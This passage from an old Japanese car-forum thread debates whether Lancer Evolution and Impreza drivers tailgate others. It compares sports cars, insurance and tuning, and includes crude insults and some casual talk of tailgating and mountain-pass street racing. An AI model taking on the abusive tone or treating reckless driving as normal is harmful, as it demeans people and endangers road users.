
シビックだと煽ってくるのはコンパクトカーと、やっぱりミニバンだな。
コンパクトはフィットやヴィッツRSなどのスポーティなやつ。
煽られはしなくても、何故か車間詰めたり信号ダッシュで向こうが
勝手に勝負することがあるな。無視するけど。
135 ：名無しさん＠そうだドライブへ行こう：2005/12/29(木) 08:41:09 ID:hBDUC8hn0
普通にワゴンRのことだと思うが。
136 ：名無しさん＠そうだドライブへ行こう：2005/12/29(木) 20:14:45 ID:k37+0qec0
BC編集部
137 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 05:37:26 ID:xHzxirnV0
>>108
インプは定員4人だぞ！

ランエボ最高！フォー

ランエボ海苔は以前に比べて紳士的になったのかもね。
ヲタが多いのは変わらないけど。
138 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 07:21:49 ID:xHa9MnEDO
両Rだよ スポ海苔にオタ率が高いのはイエテル 昔会社のガンダムオタの先輩がセブンに．．やっぱり アムロ気取りでおそらくアムロチックな独り言発しながら走ってる悪寒 因みにセブンのRXとはマツダの開発関係者がガンオタに因んで 他にもあるよな MSとか ぷっ
139 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 08:32:59 ID:mPN6hc43O
>>138
キモヲタ君は２ちゃんじゃ本当に強気だなw
140 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 08:51:10 ID:mPN6hc43O
>>138
てかこいつ小学生か中学生だしwww

＜両R
＜セブンのRX

意味不明
しかも改行したつもりだろうけど、スペースしか入ってない




お前冬休みのドリル終わったのか？
冬休み開けに校内書き初め大会があるんだろ？
チンカスびっちりの粗チンなんかいじってないで、お年玉もらわないと何もできない屎ガキは書き初めの練習でもしとけやw
141 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 11:26:17 ID:/gTi0hns0
>>138
消防相手に必死だなｗ
142 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 12:09:26 ID:9tmh0ZPYO
>>134
遅ﾚｽだが禿同(良意味で)。
143 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 13:19:45 ID:40Z6nkFP0
日産海苔は熱い人が多く同じ日産のスポーツ系が信号待ちで並ぶと
高確率で信号グランプリと聞いたが
エボだと前に出た方が負け意識してませんよ。みたいな空気にならない？
144 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 13:34:25 ID:ij/QQn0FO
ランサー嫌い。
145 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 15:29:49 ID:sm1DIn8P0
>>143
いや、別にならないな・・・。
146 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 18:49:48 ID:cYlnox0b0
次の車は中古のエボⅦかGC8にしようかと検討中２ちゃん初心者の単刀直入な質問。

エボインプってキモい、キモオタ車だってカキコ、車板で飽きるくらい見かけるよね。
確かにブサいオッサンが乗ってるのはよく見かけるけど
秋葉オタクの２ちゃんねらをしてキモオタとまで言わしめるほどではない気がするんだけど・・
エボインプって秋葉オタクに嫌われてる車なの？
その理由は？



なんか車板見始めてから「エボインプをキモいって言う奴＝秋葉系」っていうイメージができつつある・・・

俺の周りの友達（もちろん秋葉系ではない）誰もエボインプをキモいとか言わないから余計そう感じる・・・
147 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 18:51:35 ID:nohb6WTV0
いい車だしてくれればいつでも日産党に戻りますよ。
148 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 19:00:57 ID:paAMSKRr0
>>146
実際に車買うのに２ｃｈを間に受けるなよｗ
ネタとして楽しんでる奴が殆どなんだし。

で、GC8は年式的にも維持費掛かるよ～
F型（STi5型)くらいならまだマシだけど。
でも乗れば面白いからｴﾎﾞ7よりも満足できるかもね（遅いけど
149 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 19:12:55 ID:mPN6hc43O
てゆーか秋葉原のオタクって目立つ者が嫌いっていうイメージがあるよな
スポーツカー、サルーン、ＳＵＶ、ミニバンとかって２ちゃんでは毎日叩かれてるし
おそらく真性オタクが必死になってるだけだろうけどｗ
150 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 19:29:51 ID:nohb6WTV0
>>146
キモヲタばかりなのかどうか、ジムカーナやダートラを見てから云え。
151 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 22:01:31 ID:FhzfcAiS0
日産は馬鹿だよな
いい車だせば、潜在的にいる日産党がたくさん買ってくれるのに
本格的にそっぽ向かれる前にそろそろマシな車作ったほうがいいよ日産
152 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 22:05:39 ID:1gWF5VO/0
別に後ろがインポでもエボでもいいんだけどかなりの確率で煽ってくるから嫌だ。
153 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 22:11:51 ID:gyTP1LYH0
エボインプは任意保険が高いよ。特に若いと。
154 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 22:30:06 ID:DvOqx6SE0
２７ですが対人対物無制限、
保険金額200万
等級は１３か１４だったかな？

で、年間約13万。高いか安いかは微妙。
155 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 22:31:12 ID:hMcBeEQx0
>>146
ＣＴ９Ａ乗りですがエボ７お勧めですよ！
というか一刻も早く買って雪山でも行ってみてください。
最高ですね。ＧＣ８も楽しいですね。
156 ：名無しさん＠そうだドライブへ行こう：2005/12/30(金) 23:10:42 ID:gyTP1LYH0
エボ７は燃料タンク小さいよ。こまめに給油が必要。
157 ：名無しさん＠そうだドライブへ行こう：2005/12/31(土) 01:20:17 ID:UiuMGxMk0
エボ７で都内から北陸まで帰郷した友は、途中で給油は必至だそうだ。
でもエコランでリッター１３ｋｍ走るので助かると。
ラリーアートのマフラー＋コンピュータ交換のみ。

後ろから見るとファミリーカーです（羽はずしている）。
158 ：名無しさん＠そうだドライブへ行こう：2005/12/31(土) 01:50:12 ID:M/7IuLdv0
北陸は何故か冬になるとエボ・印譜が走らなくなる・・
この時期のためにあるような車だろうが！
セカンドの軽なんか買うなよ・・冬だけ俺に貸してくれ！
159 ：名無しさん＠そうだドライブへ行こう：2005/12/31(土) 02:14:15 ID:pjGbo7Un0
>>153
漏れなんて、去年31万円だったからな
あははははっは…。
160 ：名無しさん＠そうだドライブへ行こう：2005/12/31(土) 08:44:32 ID:R0uO2/Vc0
ここまでエボインプの戦闘力が高いと
ツルシじゃほとんどの車が道を空けざるえない
なんかつまらない時代ですな


161 ：名無しさん＠そうだドライブへ行こう：2005/12/31(土) 09:59:59 ID:qfoEeGuh0
>>158
路面からの突き上げが酷くて、食後に乗ると吐きそうになるぞ。
10センチ以上積もると腹擦るし、正直運転したくない。
162 ：146：2005/12/31(土) 10:35:17 ID:Pl+KVFvQ0
>>148
実は今乗ってるのはＣＥ9Ａ（エボⅢ）です。
今の車同様、マフラーとエアクリ以外はほぼノーマルで乗ると思いますがそれでも維持費かかりますかね？
タイミングベルトは要交換なのはＯＫとしてクラッチもやはり滑りが酷くなってるかな？

>>149
本当にそんな感じですね。電車男で２ちゃん見始めるまでは。こんな便所の落書きみたいな所だとは知らなかった。
チビノリダーみたいなのが偉そうに罵ってる姿を想像すると・・・何だか・・・。

>>155
スーパーＡＹＣ＆ＡＣＤ装備車はまだ乗ったことないのでずっと気になってるんですよ。
それでも雪道走るのは怖い気がしますが。雪に慣れてない地方の者なんで。
163 ：名無しさん＠そうだドライブへ行こう：2005/12/31(土) 13:07:00 ID:DQQX11hy0
>>155
舗装路なら気持ち悪いほど曲がるが、雪道じゃ滑り出しが穏やかで判らない程。
アンダーで曲がらない状況は運がないとき。
164 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 07:54:55 ID:lIkmAXls0
エボインプの後部座席は必要がない件について
165 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 08:49:31 ID:0qXLk3j50
ミニバンの3列目もほとんどの車は必要ないね。
166 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 11:20:38 ID:z5eVF66a0
>>164
ハッチバックから乗り換えたんだが、気軽に使えるトランクとして使用。
上着とかもポイって置けるし。
167 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 11:37:06 ID:jlNfb3st0
エボもインプもリミッターは外してあるよね。
168 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 11:57:43 ID:UylVRj+70
>>129
六甲走ってる奴が多いせいか運転上手だけど煽ってくるぞやっぱり。
走り系のDQNが多いぞ。神戸のエボ、インプ。

神戸でベンツに張り付かれたらハザードだして避ける。
DQNじゃなくマジでやばい。
169 ：WRXワゴン@車ヲタ：2006/01/02(月) 12:07:16 ID:h9oRXGLN0
>>146
秋葉には良く行くw けど、Ｐにエボインプが並んでるって状況では無いですな。
ご安心あれ。

エボもインプも（元々の）車格はテンゴのＦＦファミリーカー。コストの大
半をメカに費やし、内装も外装もファミリーカーをシロートがイジったレベル。
そげな車にそこそこの銭出して、ありがたがって乗るのはかなりの（車）ヲタです。はい。
170 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 13:39:35 ID:YYdBjzMG0
外装に関しては同意。内装は軽量化とコストも関係してそう。
いまどきのエボとかはノーマルで火急圧が１越えている。そんな代物に
メーカー保障が付いて売っていることを考えればバーゲンプライスだと思うが。
まあ、バーゲンプライスと思ってしまう時点で俺もｒｙ。
171 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 13:59:56 ID:PPYwX35G0
今時のと言うか7～8年くらい前からｴﾎﾞもｲﾝﾌﾟも加給1.1超えてる筈だが・・
まぁ、実際凄いﾊﾞｰｹﾞﾝﾌﾟﾗｲｽだよね
172 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 14:20:03 ID:YYdBjzMG0
自分のや周囲のエボ７で１．１～１．５くらいだった。インプは知らん。
単純換算で４．２～５．０リッターな軽量コンパクトエンジン積んでるも同然。
４リッタークラスのＶ８エンジン積んだ車が突っかかってくるときあるが
「車重を考えろ」と言いたい。
173 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 15:48:19 ID:HPnsZvOPO
第１世代エボ（Ⅰ～Ⅲ）は標準タイヤが１５インチで２０５以上の幅にできないのが不満。
あとこれ言う人少ないけど
助手席にまでレカロは付けなくていいと思う。
助手席レカロのコストを足回りその他に割いてほしかった。
174 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 15:53:06 ID:NZs6EuIV0

てか、レカロを２つも入れるコスト的余裕があるんなら
純正のブースト計とターボタイマーを標準装備すべきじゃないかと思われｗ。
175 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 17:37:11 ID:8QRHTjr/0
>>174
ターボタイマーｗ
176 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 17:57:30 ID:CY3/hVvb0
だからさ後続車がエボインプだと不愉快になるって言ってんじゃん
177 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 20:31:38 ID:QrO3bewf0
>>168
それは、オマイがよほど気合の入った車に乗ってるか、又は亀なのかのどちらかだろう。
ベンツの件は云うまでもなし。それ以前に勝っても負けても嬉しくない。
178 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 20:45:12 ID:dulTytRAO
とりあえず下げようよ
なんで上げるんだよ…
車種板にランエボとインプレッサのスレあるし
179 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 20:55:17 ID:yu18LWAS0
煽りネタスレでsage進行出来る訳ないだろ
180 ：名無しさん＠そうだドライブへ行こう：2006/01/02(月) 21:53:31 ID:0ezjVcNI0
後続車がエボ、インプより軽自動車のほうがよっぽど怖いよ。。。
181 ：ヘボリューション：2006/01/03(火) 02:37:00 ID:RJtN/2Kq0
エボ５に乗っています。
全国のエボ乗りを代表して煽ってゴメン。。。
実際、自分に子供がいるから安全運転しているけど近くの山へドライブに
行った時は前車が道を譲ってくれる確立が高いです。
本当に煽っているわけじゃないんだけど。。。
182 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 08:44:37 ID:MAIGvEFX0
ヒント・存在が不快
183 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 08:57:01 ID:DZkytpGjO
なんで不快になるんか、ま～言うてみんさい。
184 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 09:00:29 ID:fbKIBRReO
ランエボやインプレッサって威圧感あるから煽られてるように感じるだけだろ
185 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 09:18:55 ID:yBcNPj9f0
じゃーRや7はどーよ？
186 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 09:36:16 ID:DZkytpGjO
ここの奴らは、被害妄想の強いびびりのオタクどもってことだろｗ
187 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 09:53:36 ID:2UAkMauf0
漏れはこないだＧＴ－Ｒにあおられたぞ！
ランエボ、インプなんて限定しないで欲しい！
188 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 10:20:50 ID:SGpAdftaO
峠走ってて、気がついたら後ろに３４Ｒがいたときは(((( ;ﾟдﾟ)))ﾊｯ
ってなった エボはたいしたことないけどインプはやだなーそんな自分はレガ(ry
189 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 10:38:33 ID:/IqNUDl90
>>188
うわー・・・その気持ちなんだか凄い良く分かるよ（ｗ
190 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 11:39:44 ID:i80rIf0bO
みなさん自意識過剰だね
191 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 12:36:04 ID:hkU4nP540
北関東の山奥でＦＴＯに基地外のように煽られたんだけど
こんな運転してて地元でよく殺されねーなと思った
192 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 16:48:34 ID:laSe1nX00
>>191
FTOのATだろ
193 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 17:40:25 ID:hKPwNO56O
パルサーの10年落ちのGTi-R乗ってるけど、普通に引き離すぞ。
194 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 17:45:37 ID:o0fxqUUu0
ていうかそんなご老体は誰も煽らんだろ
いたわりの対象だよ
195 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 17:50:36 ID:njd9HZ+zO
>>194
山じゃエボインプクラスじゃないと勝つのは難しい
196 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 18:01:01 ID:o0fxqUUu0
ｽﾏｿ
漏れRA乗ってる
197 ：投資家：2006/01/03(火) 18:09:54 ID:k0uh/Fzb0
車より、どうかね、投資をしてみては
マネーゲームもいいぞ！
198 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 18:20:18 ID:njd9HZ+zO
>>196
ストリートじゃ反則だぞ


僕はﾊﾟﾙｻｰGTI-Rの競技ベースが峠最速理論を撤回しません
199 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 18:35:24 ID:zDsYEZFU0
元RNN14糊で現在はⅥ糊なんだが。
エボだけには・・・

勝てぬ
勝てぬのだ・・・・・(T-T)

200 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 18:41:50 ID:njd9HZ+zO
>>199
競技ベースは重量1190ｷﾛ
180ｷﾛ吹けきりの鬼クロスミッション

最速です
撤回しません
201 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 18:44:29 ID:zDsYEZFU0
↑あなたの愛車もRNN14なんですか？
202 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 18:48:11 ID:vBUsVQRt0
ジムカーナでＧＡ２で走ってみた。
サイドターンも簡単に決まるしラインも乗せやすい。
でもエボには勝てん。
エンジン云々もそうだし、第一履けるタイヤの幅が違いすぎる。

ダートは、、スタタボだと話にならない。
なんで四輪ホイールスピンするの？って感じ。
丸和の後半にあるヘアピンでも立ち上がるの早すぎ。
203 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 19:03:19 ID:njd9HZ+zO
>>201
元 です
三台糊ますた
204 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 19:26:58 ID:TY2E7uxQO
スレ違いでｽﾏｿ
パルサーＧＴＩ‐ＷＲって市販されてたの？
205 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 19:34:13 ID:njd9HZ+zO
>>204

なんだそれは？

スタンダードモデルがすでにホモロゲモデルなわけだが
206 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 20:36:11 ID:TY2E7uxQO
204＞＞205
実は…某工場の隅に置いてあるのを見たのだが、、前後ブリフェンだった。
車高＆内装は標準と変わらず。
何なんでしょうな？？
207 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 21:31:58 ID:jyox9JWp0
今日　東名で追い越したら後ろについて来たランエボ　
もう少し車間距離開けろよ。
208 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 21:44:43 ID:n1WhbTAw0
R34GT-RニスモＺチューンでエボインプを煽りたい
そんで圧倒的な力の差を味あわせたい
宝くじ当たらねーかな
209 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 22:35:33 ID:qLSO4fz80
>>208
>R34GT-RニスモＺチューンで

・・・
210 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 22:59:20 ID:tqqamXbL0
>>208
>R34GT-RニスモＺチューンで

・・・
211 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 23:38:03 ID:LTC19NLjO
>>208
市販車に対してチューニングカーで煽るとか…
エボ・インプで普通の車煽る輩と似た思考してらっしゃる？
212 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 23:48:40 ID:42aplxN90
>>203
今乗ってる車を教えてもらえませんか？
元i-R糊のエボ遣いだが。
213 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 23:55:29 ID:pNwvNKMs0
>>208
そのニス喪Zチューンとやらで
http://www.wazamono.biz/carmovie/src/up2444.mov.html
コイツ煽ってみれ。
214 ：名無しさん＠そうだドライブへ行こう：2006/01/03(火) 23:56:21 ID:sDVlqgL20
まぁ山道最強は軽トラな訳だが
215 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 00:02:21 ID:MOSdeyhA0
地元のおっちゃん、じいちゃん運転のなw
216 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 00:17:49 ID:k29e1c/aO
>>212
205セリカ糊
217 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 01:20:34 ID:o+Sq2WyW0
>>216
なぜセリカ？遅いだろ？
218 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 01:27:52 ID:u3Ghpg0o0
速さだけでは語れない価値がある
Price　less
219 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 01:50:37 ID:k29e1c/aO
>>217
エボ、インプ買っても毎年進化する屈辱に耐えられない

205は昔から見た目が好きだったわけだし
加速はクソだがブレーキとコーナリングはなかなかイケる

>>218
まさにそれ
220 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 03:18:45 ID:JcVvvZTiO
>>219
元205糊17万kmで現在Ⅷ糊の織れが来ますたよ。

205は内外ﾃﾞｻﾞｲﾝだけは好きだったが他は×。
加速しないし何せF荷重約ｶﾛｰﾗ一台。
一応Fullﾁｭｰﾝしたが厳しいよ。

ｴﾎﾞは… ｱﾋｬﾋｬwww
221 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 03:43:07 ID:k29e1c/aO
>>220
ﾌﾛﾝﾄにカローラ1台は185だぞ

絶対的な速さはないけど格好に惚れてしまったからね～

シルビアより速いし下りでエボ3と7にもついていけたから問題なし
買う時2ドアインプと迷ったけどorz
222 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 03:44:02 ID:dhGKj5R50
1250kgしか無いGC8末期RAとか、
ｴﾎﾞ5RSあたりが乗ってて面白い
最新型に比べりゃそりゃ遅いけど（加速だけは上かな？
223 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 04:01:36 ID:k29e1c/aO
最新型エボ、インプって速いのか？
街海苔使用者のｵｻｰﾝしか見ないんだが
224 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 06:12:38 ID:oPdMXY+zO
どんな車種でも、新車に乗ってるのはたいていおっさんだろ
225 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 12:23:29 ID:MPC0zmX/0
どんな車種でもっていうのは言い過ぎだな。
ムーブラテなんかおねーちゃんが多いだろw
どんなスポーツカーで持っていうのならわかるが。

話は変わるが、うちの近所の山のひとつのコースではGA2が最速らしいんだがな。
緩やかな登りで、全開で踏むところがほとんど無いタイトなコース。
まぁ、そのGA2140～150ぐらい馬力出てるらしいけどね。
車重は700㌔ぐらいだろうし…。
226 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 13:12:34 ID:DSHApqgH0
エボインプの悪口言ったって、頭悪くないよ
車好きならみんな思ってることじゃないか
227 ：よつかど：2006/01/04(水) 13:20:29 ID:qRVZbrDx0
別に後ろからどんな車が来ようが気にはしない。
状況にもよるが、高速道路とか片側2車線以上ある時は、後ろから速い車が来たら
なるべく邪魔しないように道を譲るよ。それだけで良いんじゃない？
228 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 13:52:33 ID:oPdMXY+zO
>>225
確かに新車のスポーツカーはおっさん率が高い、新車の高級サルーンもかなりの確立でおっさんがよく乗ってるね
あと、俺は中古のＭＰＶに乗ってるけど、新車のミニバンもおっさん率高いと思う。
>>224
もう少しで冬休みも終わりだろ？
229 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 14:43:14 ID:acjDzPQm0
>>226
>エボインプの悪口～ 車好きならみんな思ってることじゃないか

やっぱり他車種のオーナーさんたちから妬みやっかみ持たれる運命の車なんですかね？
230 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 15:29:48 ID:8xf4Cypd0
もう、RNN14みたいなのは2度と出てこないだろうな・・・
一馬力一万円は魅力的すぎた。

231 ：よろしく：2006/01/04(水) 15:39:41 ID:YIrdyA1wO
http://s.ihot.jp/shot/users/detail.php?id=yuriya&seq_no=6515&rows=6
投票お願い致しますm(_ _)m
232 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 17:21:14 ID:JloW+ikt0
もう１個の煽りスレが停止喰らった模様

インプレッサ乗りは馬鹿かキモヲタだけですか？
http://hobby7.2ch.net/test/read.cgi/car/1128018721/

329 名前：停止しました。。。 [停止] 投稿日：停止
真・スレッドストッパー。。。(￣ー￣)ﾆﾔﾘｯ
233 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 19:31:09 ID:k29e1c/aO
>>230
名車でした

ミッションブローにクラッチ破壊も経験しますた
止まれず突っ込みもしますた

エンジンだけの車
あの車体で簡単に厚揚げ300ｳﾏでるし

名車でした
234 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 20:15:42 ID:EdtNWvN50
気に入らなければ後から手を入れればいいことだし。
日産車のことだから流用なんかでもカバーできただろう。
とりあえず230万円であの性能を手に入れられた事が重要。
インパクトはエボを遥かに凌駕していた。

しかし、時の流れには勝てない。
速さだけならエボが速いのである。
悲しいかな、コレ現実なのよね。
235 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 21:34:45 ID:TwKpCWeH0
もう分かったよＲＮＮ１４海苔
キミの車は最強だったさ
平成５年頃は・・・
ＲＮＮ１４は最高の流れ星さ
236 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 21:47:29 ID:BdsBsTPS0
RNN14の再来となるはずのティーダ4WDはどうなった？
237 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 21:51:20 ID:BdsBsTPS0
>>235
まさに流れ星。
ていうかIDがきらきら星（TwK=ツインクル）www
238 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 21:55:55 ID:X7q8R45P0
私軽トラ海苔だけど、インプやLANCER Evolutionが後ろについてきても
別に嫌じゃないよ。むしろオバちゃんの運転してるコンパクトカー
の方が怖いんです、何とかならないんですかね??
この前GT-R煽ってしまってGT-Rのドライバー怒ったらしくて
さっさと逃げて行かれました、速かったですねぇ。
軽トラのパワーはあんなもの。
239 ：名無しさん＠そうだドライブへ行こう：2006/01/04(水) 22:59:06 ID:BdsBsTPS0
エボと比べるからなんだとよく言われるRNN14だが
そこいら辺のにわかスポーツ（アルテ、SW20、インテRとか）よりは速いとだけいっとく。
240 ：WRXワゴン：2006/01/04(水) 23:49:17 ID:Fpb88Kk50
>>239
RNN14の弱点はフロントヘビー(前790,後450)と極端なショートホイールベース
と185/60R4と言うプアなタイヤ設定などなどが合計されたトータルなコーナリ
ング性能の辛さ。直線は速いけど曲がりはいまいち。ここはオーナーさんなら
良っく知ってるハズ。

対するインテRはコーナリング性能でランク上のスーパースポーツをイジめ
るトップクラスのコーナリングマシン。パワーウェイトレシオは両車互角で
直線におけるRNN14の優位性なし。悪癖の熱ダレの分不利か？

てな訳で、同じドライバーがドライブすると仮定すると、インテR有利に一票。

PS：
　　面白いと言う点ではRNN14は秀逸だと思いますです。
241 ：名無しさん＠そうだドライブへ行こう：2006/01/05(木) 08:06:45 ID:vRSUvwrZ0
インテとかのホンダ系ＦＦは峠だとかなり速い
直線がほとんどないようなステージだとエボインプも喰える
242 ：名無しさん＠そうだドライブへ行こう：2006/01/05(木) 09:15:25 ID:eXzKkFGQ0
まだプリメーラを四駆ターボに仕立てた方が戦闘力は上だと思うんだが
なぜにパルサーなんだろう？


>>240
インパルスは元気？
243 ：CP9A：2006/01/05(木) 15:18:46 ID:BVhTcQzc0
>>240
元i-R糊だが、フロントヘビーでないハッチバックなんて存在しないと思う。
カローラWRCがもし市販されてても前後重量比は似たようなものになったはず。
あと、熱害はインタークーラー流用や外装の穴あけ加工とかで対処。
タイヤに関してはRE-01とかのハイエンドクラスを履けばある程度対処可能だと思う。

一番辛いのはやはりタイヤか。メーカーの怠慢がモロに出た部分。

244 ：名無しさん＠そうだドライブへ行こう：2006/01/05(木) 15:39:35 ID:iEfe/nu50
>>243
インプワゴンＷＲＸはハッチバックだけど・・・
245 ：名無しさん＠そうだドライブへ行こう：2006/01/05(木) 15:58:41 ID:BVhTcQzc0
↑屁理屈フォー！
246 ：名無しさん＠そうだドライブへ行こう：2006/01/05(木) 16:08:54 ID:e0edVZ7U0
>>1
何が不愉快なんだｗ
「後ろはインプレッサか」ぐらいにしか思わないだろ。
別にカローラだってプロボックスだってマーチだって同じ。

トラックだったら「追突されたら・・・」とかは思うが。
247 ：白印譜党親衛隊長・中島：2006/01/05(木) 17:18:14 ID:Qc+NTAX70
活動拠点をこちらに移すので、皆の衆、よろしくたのむぞ。
248 ：キリンレモン ◆KEvdKzCTYE ：2006/01/05(木) 18:57:21 ID:uxP6UV1B0
イボとエンプかい？
249 ：名無しさん＠そうだドライブへ行こう：2006/01/05(木) 20:21:31 ID:mbh0PdnQO
つーかトルクウェイトレシヲでくらべろ

ｸﾛｽﾐｯｼｮﾝ装備した2L四駆ﾀｰﾎﾞとNAFFを比べるな
コーナリング？立ち上がり加速が段違い
大衆ｽﾎﾟｰｼとラリーウェポン
250 ：名無しさん＠そうだドライブへ行こう：2006/01/05(木) 21:02:20 ID:W4hXPrjD0
FFにはFFの（インベタコーナー重視）
ターボ４駆にはターボ４駆の（コーナー出口からの立ち上がり）
走らせ方がある。
全てはオーナー次第。素材の持ち味を生かせてこそ真の料理人。
251 ：名無しさん＠そうだドライブへ行こう：2006/01/05(木) 21:10:21 ID:09Xh1rLj0
>>249
机上論はわかったけど
マジでンダのＮＡＦＦは速いんだって
俺は日産のポン骨ＦＲ海苔だけど
どうせ脳内だからいくら言っても詭弁に終始するんだろうけどさ
252 ：名無しさん＠そうだドライブへ行こう：2006/01/05(木) 22:56:33 ID:aSK1TS+i0
>>251
＞マジでンダのＮＡＦＦは速いんだって

そんなこと皆知ってるよ。別にモータースポーツやってなくても
走行会に参加したり、峠でも走ってれば必ずホンダＮＡに遭遇するでしょ？

まぁ自分は昔ＥＧ６に乗ってたから、その楽しさも知ってるけどね。
253 ：WRXワゴン：2006/01/05(木) 23:19:56 ID:3TiX5XSD0
>>249
RNN14は1240Kgに230PSなので5.4Kg/PS。5速クロスミッション。
DC5は1190Kgに220PSなので5.4Kg/PS。6速クロスミッション。
ターボとNA,4WDとFFなのでトルク特性他、全然違う車だけどパワーウェイト
レシオは互角。

RNN14は1990年当時としては衝撃的な車で、その加速はびっくらこくに値す
る車。対するDC5は近代的なスポーツFFの代表。同列で評価するのはRNN14
に可愛そうな気がする。

ちなみにあっしは当時AE86に乗ってて、最終型FCとRNN14で悩んでエスクード
を買ってしまったw （一回オフロード乗ってみたかった誘惑に負けた）
254 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 01:13:36 ID:oYmPemhM0
>最終型FCとRNN14で悩んで

偶然！織れもだ。
しかし実際買ったのはRNN14だったがなw

255 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 01:32:56 ID:oYmPemhM0
RNN14は立ち上がり加速で勝負！
ていうか、足さえ決まればDC5も敵ではない！

それでもランエボには敵わないのだが。
エボ＞インプ≒RNN14＞＞＞ホンダFF＞＞只のFF
256 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 01:59:17 ID:W0srrSWM0
こないだ大分の別府に行った
夜中に山で下りの見学をしていたらバァ～ン、ﾎﾞﾎﾞﾎﾞﾎﾞﾎﾞという排気音
ランエボがギョギョギョギョ！！とタイヤを鳴らしながらスッ飛んで行った
ほぇ～と見惚れていたら、もう１台
ギョイーン!!ﾋｭｰｰﾝ！というエンジン音。ホンダのタイプＲって奴だろうか
友人と予想し合っていると、現れたのはインサイト
ギャァァーーーン！とドリフトで曲がってヴィーーーーン！！と消えていった
確かにンダのＦＦは速い･･･かも。
257 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 02:11:20 ID:DnL0pUlN0
エボⅤ糊だが峠ドライブorサーキットで中にでンダのFFに後続されるのが
結構嫌。
特に現行インテRよりも一個前の奴。DC2だっけ？走り込んでて筑波本コー
